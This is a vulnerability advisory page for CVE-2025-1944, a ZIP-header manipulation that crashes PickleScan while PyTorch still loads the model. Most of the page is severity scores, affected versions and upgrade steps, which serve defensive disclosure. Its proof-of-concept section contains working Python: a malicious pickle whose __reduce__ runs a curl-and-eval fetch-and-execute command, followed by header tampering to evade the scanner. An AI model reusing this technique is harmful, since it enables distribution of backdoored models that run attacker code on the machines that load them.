GHSA-7q5r-7gvp-wc82 CVE-2025-1944 PYSEC-2025-20
Zip Exploit Crashes Picklescan But Not PyTorch
- Severity
- 0.0 / 10
- Medium · CVSS 4.0
- Exploit chance (EPSS)
- 0.33%
- Chance of exploitation in the next 30 days. Higher than 26.18% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-345 Insufficient Verification of Data Authenticity
- Fix
0.0.23- Upgrade picklescan to this version or later
Description
Summary
PickleScan is vulnerable to a ZIP archive manipulation attack that causes it to crash when attempting to extract and scan PyTorch model archives. By modifying the filename in the ZIP header while keeping the original filename in the directory listing, an attacker can make PickleScan raise a BadZipFile error. However, PyTorch's more forgiving ZIP implementation still allows the model to be loaded, enabling malicious payloads to bypass detection.
Details
Python's built-in zipfile module performs strict integrity checks when extracting ZIP files. If a filename stored in the ZIP header does not match the filename in the directory listing, zipfile.ZipFile.open() raises a BadZipFile error. PickleScan relies on zipfile to extract and inspect the contents of PyTorch model archives, making it susceptible to this manipulation.
PyTorch, on the other hand, has a more tolerant ZIP handling mechanism that ignores these discrepancies, allowing the model to load even when PickleScan fails. An attacker can exploit this behavior to embed a malicious pickle file inside a model archive, which PyTorch will load, while preventing PickleScan from scanning the archive.
PoC
import os
import torch
class RemoteCodeExecution:
def __reduce__(self):
return os.system, (f"eval \"$(curl -s http://localhost:8080)\"",)
model = RemoteCodeExecution()
file = "does_not_scan_but_opens_in_torch.pth"
torch.save(model, file)
# modify the header to cause the zip file to raise execution in picklescan
with open(file, "rb") as f:
data = f.read()
# Replace only the first occurrence of "data.pkl" with "datap.kl"
modified_data = data.replace(b"data.pkl", b"datap.kl", 1)
# Write back the modified content
with open(file, "wb") as f:
f.write(modified_data)
# Load the infected model
torch.load(file)
Impact
Severity: High
-
Who is impacted? Any organization or individual using PickleScan to detect malicious pickle files in PyTorch models.
-
What is the impact? Attackers can embed malicious payloads inside PyTorch model archives while preventing PickleScan from scanning them.
-
Potential Exploits: This technique can be used in supply chain attacks to distribute backdoored models via platforms like Hugging Face.
Recommendations
-
Use a More Tolerant ZIP Parser: PickleScan should handle minor ZIP header inconsistencies more gracefully instead of failing outright.
-
Detect Malformed ZIPs: Instead of crashing, PickleScan should log warnings and attempt to extract valid files.
Affected versions
PyPI
| Package | Vulnerable | Fixed in |
|---|---|---|
| picklescan | < 0.0.23 |
0.0.23 |
| picklescan | < 0.0.23 |
0.0.23 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
picklescan PyPI → 0.0.23
- pip
pip install --upgrade "picklescan>=0.0.23"- poetry
poetry add "picklescan>=0.0.23"- uv
uv add "picklescan>=0.0.23"
Severity breakdown
CVSS 4.0 0.0
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
- Attack vector
- Network
- Attack complexity
- Low
- Attack requirements
- None
- Privileges required
- None
- User interaction
- Passive
- Confidentiality (vulnerable system)
- None
- Integrity (vulnerable system)
- Low
- Availability (vulnerable system)
- None
- Confidentiality (subsequent systems)
- None
- Integrity (subsequent systems)
- None
- Availability (subsequent systems)
- None
CVSS 3.1 6.5
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- None
- User interaction
- None
- Scope
- Unchanged
- Confidentiality
- None
- Integrity
- Low
- Availability
- Low
Weakness
CWE-345: Insufficient Verification of Data Authenticity
The product does not sufficiently verify the origin or authenticity of data, in a way that causes it to accept invalid data.
References
Advisories
Packages
Other links
- github.com/mmaitre314/picklescan/security/advisories/GHSA-7q5r-7gvp-wc82
- github.com/mmaitre314/picklescan/commit/e58e45e0d9e091159c1554f9b04828bbb40b9781
- github.com/pypa/advisory-database/tree/main/vulns/picklescan/PYSEC-2025-20.yaml
- sites.google.com/sonatype.com/vulnerabilities/cve-2025-1944
- sonatype.com/security-advisories/cve-2025-1944
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-g38g-8gr9-h9xp PickleScan has multiple stdlib modules with direct RCE not in blocklist | Critical | Also affects picklescan |
| GHSA-vvpj-8cmc-gx39 PickleScan's pkgutil.resolve_name has a universal blocklist bypass | Critical | Also affects picklescan |
| GHSA-7wx9-6375-f5wh PickleScan's profile.run blocklist mismatch allows exec() bypass | Critical | Also affects picklescan |
| GHSA-97f8-7cmv-76j2 Picklescan (scan_pytorch) Bypass via dynamic eval MAGIC_NUMBER | High | Also affects picklescan |
| GHSA-m7j5-r2p5-c39r picklescan vulnerable to arbitrary file create using logging.FileHandler | Medium | Also affects picklescan |
| GHSA-9m3x-qqw2-h32h picklescan missing detection by simple obfuscation of a `builtins.eval` call | Critical | Also affects picklescan |
| GHSA-9726-w42j-3qjr picklescan has Arbitrary file read using `io.FileIO` | High | Also affects picklescan |
| GHSA-46h3-79wf-xr6c Picklescan is vulnerable to RCE via missing detection when calling built-in python _operator.attrgetter | High | Also affects picklescan |
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